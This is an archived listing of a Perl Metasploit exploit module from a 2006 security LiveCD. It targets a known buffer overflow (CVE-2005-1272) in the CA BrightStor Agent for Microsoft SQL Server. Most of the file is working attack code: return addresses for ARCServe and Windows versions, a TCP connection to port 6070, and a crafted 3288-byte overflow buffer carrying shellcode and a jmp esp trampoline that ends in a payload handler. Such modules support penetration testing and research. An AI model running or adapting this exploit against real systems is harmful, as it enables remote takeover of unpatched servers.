home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / cabrightstor_sqlagent.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  147 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::cabrightstor_sqlagent;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'     => 'CA BrightStor Agent for Microsoft SQL Overflow',
  20.     'Version'  => '$Revision: 1.8 $',
  21.     'Authors'  => [ 'H D Moore <hdm [at] metasploit.com>' ],
  22.     'Arch'     => [ 'x86' ],
  23.     'OS'       => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
  24.     'Priv'     => 1,
  25.     'AutoOpts' => { 'EXITFUNC' => 'process' },
  26.  
  27.     'UserOpts' =>
  28.       {
  29.         'RHOST' => [1, 'ADDR', 'The target address'],
  30.         'RPORT' => [1, 'PORT', 'The target port', 6070],
  31.       },
  32.  
  33.     'Payload' =>
  34.       {
  35.         'Space'     => 1000,
  36.         'BadChars'  => "\x00",
  37.         'Prepend'   => "\x81\xc4\x54\xf2\xff\xff",    # add esp, -3500
  38.         'Keys'        => ['+ws2ord'],
  39.       },
  40.  
  41.     'Description'  => Pex::Text::Freeform(qq{
  42.         This module exploits a vulnerability in the CA BrightStor
  43.         Agent for Microsoft SQL Server. This vulnerability was discovered
  44.         by cybertronic[at]gmx.net.
  45. }),
  46.  
  47.     'Refs'    =>
  48.       [
  49.           ['OSVDB', '18501'],      
  50.         [ 'CVE', '2005-1272' ],
  51.         [ 'BID', '14453' ],
  52.         [ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities' ],
  53.         [ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239' ],
  54.         [ 'MIL', '83'],        
  55.       ],
  56.  
  57.     'Targets' =>
  58.       [
  59.         # This exploit requires a jmp esp for return
  60.         ['ARCServe 11.0 Asbrdcst.dll 12/12/2003',      0x20c11d64], # jmp esp
  61.         ['ARCServe 11.1 Asbrdcst.dll 07/21/2004',      0x20c0cd5b], # push esp, ret
  62.         ['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005',  0x20c0cd1b], # push esp, ret
  63.         
  64.         # From minishare exploit
  65.         ['Windows 2000 SP0-SP3 English', 0x7754a3ab ], # jmp esp
  66.         ['Windows 2000 SP4 English',     0x7517f163 ], # jmp esp
  67.         ['Windows XP SP0-SP1 English',   0x71ab1d54 ], # push esp, ret
  68.         ['Windows XP SP2 English',       0x71ab9372 ], # push esp, ret
  69.         ['Windows 2003 SP0 English',     0x71c03c4d ], # push esp, ret
  70.         ['Windows 2003 SP1 English',     0x71c033a0 ], # push esp, ret
  71.       ],
  72.  
  73.     'Keys'    => ['brightstor'],
  74.  
  75.     'DisclosureDate' => 'Aug 02 2005',
  76.   };
  77.  
  78. sub new {
  79.     my $class = shift;
  80.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  81.     return($self);
  82. }
  83.  
  84. sub Exploit {
  85.     my $self = shift;
  86.     my $target_host = $self->GetVar('RHOST');
  87.     my $target_port = $self->GetVar('RPORT');
  88.     my $target_idx  = $self->GetVar('TARGET');
  89.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  90.     my $target = $self->Targets->[$target_idx];
  91.  
  92.     $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
  93.  
  94.     # The 'one line' request does not work against Windows 2003
  95.     for (my $i=0; $i <5; $i++)
  96.     {
  97.         my $s = Msf::Socket::Tcp->new
  98.           (
  99.             'PeerAddr'  => $target_host,
  100.             'PeerPort'  => $target_port,
  101.           );
  102.  
  103.         if ($s->IsError) {
  104.             $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  105.             return;
  106.         }
  107.  
  108.         my $crap = ("\xff" x 0x12000);
  109.         $s->Send($crap);
  110.         $s->Recv(-1, 8);
  111.         $s->Close();
  112.  
  113.         my $s = Msf::Socket::Tcp->new
  114.           (
  115.             'PeerAddr'  => $target_host,
  116.             'PeerPort'  => $target_port,
  117.           );
  118.  
  119.         if ($s->IsError) {
  120.             $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  121.             return;
  122.         }
  123.  
  124.         # 3288 bytes max
  125.         #  696 == good data (1228 bytes contiguous) @ 0293f5e0
  126.         # 3168 == return address
  127.         # 3172 == esp @ 0293ff8c (2476 from good data)
  128.  
  129.         my $poof = Pex::Text::EnglishText(3288);
  130.  
  131.         substr($poof,  696, length($shellcode), $shellcode);
  132.         substr($poof, 3168, 4, pack('V', $target->[1])); # jmp esp
  133.         substr($poof, 3172, 5, "\xe9\x4f\xf6\xff\xff");     # jmp -2476
  134.  
  135.         $self->PrintLine("[*] Sending " .length($poof) . " bytes to remote host.");
  136.         $s->Send($poof);
  137.  
  138.         $s->Recv(-1, 8);
  139.         $self->Handler($s);
  140.         $s->Close();
  141.     }
  142.  
  143.     return;
  144. }
  145.  
  146. 1;
  147.